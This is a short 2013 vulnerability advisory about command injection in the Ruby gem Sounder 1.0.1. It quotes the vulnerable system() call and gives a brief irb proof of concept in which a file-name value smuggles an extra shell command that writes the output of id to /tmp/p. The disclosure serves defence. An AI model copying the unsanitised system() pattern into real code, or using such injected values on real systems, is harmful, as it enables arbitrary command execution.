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Ruby Gem Sounder 1.0.1 Command Injection

Posted on 28 August 2013

<pre>Title: Command Injection in Ruby Gem Sounder 1.0.1

Date: 8/10/2013
Author: Larry W. Cashdollar @_larry0

Download: https://rubygems.org/gems/sounder
CVE: TBD
Description:

Sounder is a ruby gem API for Mac OSX's afplay command.
It passes user supplied data directly to command line.
From lib/sounder/sound.rb:

   def play
     system %{/usr/bin/afplay &quot;#{ () file}&quot; &amp;}
   end

PoC:

irb(main):098:0&gt; @file = &quot;&quot;id;/usr/bin/id&gt;/tmp/p;&quot;&quot;
=&gt; &quot;&quot;id;/usr/bin/id&gt;/tmp/p;&quot;&quot;
irb(main):099:0&gt;  system %{/bin/echo &quot;#{ () file}&quot; }
id
sh: 1: : Permission denied
=&gt; false
irb(main):100:0&gt;
larry () underfl0w:/tmp$ cat /tmp/p
uid=1000(larry) gid=600(staff) groups=600(user)

Author Notified: 8/9/2013
Advisory:  http://vapid.dhs.org/advisories/sounder-ruby-gem-cmd-inj.html

</pre>

 

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